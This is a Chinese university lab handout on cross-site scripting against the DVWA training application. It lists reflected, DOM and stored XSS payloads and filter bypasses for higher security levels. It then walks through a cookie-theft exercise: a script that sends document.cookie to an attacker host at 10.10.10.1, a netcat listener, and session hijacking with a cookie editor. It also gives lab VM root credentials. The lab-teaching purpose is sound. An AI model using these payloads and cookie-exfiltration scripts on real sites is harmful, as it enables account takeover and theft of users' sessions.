一、 实验内容与步骤

任务一：将 DVWA Security 级别设为低，尝试三种类型攻击

(1) 对于反射型 XSS 攻击，输入<script>alert(‘xss’)</script>

(2) 观察到弹窗，说明攻击成功。

(3) 对于 DOM 类型 XSS 攻击，在选择语言后，在地址栏直接添加<script>alert(‘xss’)</script>，如下图所示

(4) 观察到弹窗，说明攻击成功。

(5) 对于存储型 XSS 攻击，在留言板里面的 Message 部分填入<script>alert(‘xss’)</script>

(6) 观察到弹窗，说明攻击成功。

任务二：将级别分别调至 Medium 和 High 级别，对存储型 XSS 进行实验

(1) 可以根据课堂讲授的方法、百度搜索资料进行 XSS 攻击实验

(2) 提示：

可采用大小写混合的方式 <sCriPt>alert(/XSS/)</scRipT>

多重嵌套 <scr<script>ipt>alert(/XSS/)</script>

多标签测试 <img src=x onError=alert('xss')>

(3) 对 High 级别的存储型 XSS 完成攻击，弹窗显示学号。

相比较中级而言，高级对$nam 参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的 html 标签来进行绕过。比如：<img src=x onError=alert('xss')>。在浏览器窗口中查看文本框元素，按 F12 调出，找到对应的文本框，双击 maxlength，把数值为 200

(4) 脚本通常会超过文本框输入长度的限制，需要在浏览器窗口中查看文本框元素，按 F12 调出，找到对应的文本框，或者在文本框上右击，点击“检查”（Firefox 是“检查元素”）。双击 maxlength，把数值 50 修改为 200 或更大

任务三：XSS 攻击的利用方式---窃取 Cookie

(1) 为了方便窃取 Cookie，将安全级别设置为 Low。因为这里假设已经完成 XSS 攻击，重点考虑如何设置脚本，而不是找到 XSS 攻击的漏洞点。

(2) 情景：在 Admin 用户登录后，系统会产生 Cookie，现在攻击者的目标是试图获取 Admin 的 Cookie，从而不需要密码进行登录。从中可以了解到 XSS 攻击的危害。

(3) 提供一种思路。假设受害者计算机为 A，攻击者计算机为 B（假设地址为：10.10.10.1），在 A 上注入以下恶意脚本：

<script>document.location= 'http:// 10.10.10.1:808/acceptcookie.php?cookie='
+document.cookie;</script>

在 B 计算机上，使用 nc(netcat)命令监听 808 端口：

sudo nc -lvp 808
这里的 808 端口不能被其他程序占用，和上面的端口配合使用，两者修改一致即可。在 Linux 下可以直接使用 nc 命令，Windows 下需要提前下载 nc 软件。学院机房 Kali 虚拟机的用户名是 root，密码是 123 或 njupt。

（4）首先在 htdocs 文件夹下新建 cookie.php 内容如下

目的是充当攻击者自己的服务器，为了将获取到的 cookie，保存到 cookie.php 所在目录下自动生成一个 cookie.txt。

接着构造 payload 如下

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

这样，所有执行这段 js 语句的人都将向 http://127.0.0.1/cookie.php 上传自己的 cookie 参数。

（5）获取 A 的 cookie 后，在计算机 B 上，建议使用 Firefox，安装 Cookie Editor 插件，使用插件修改 Cookie 后登录，可以发现不需要密码也能成功登录。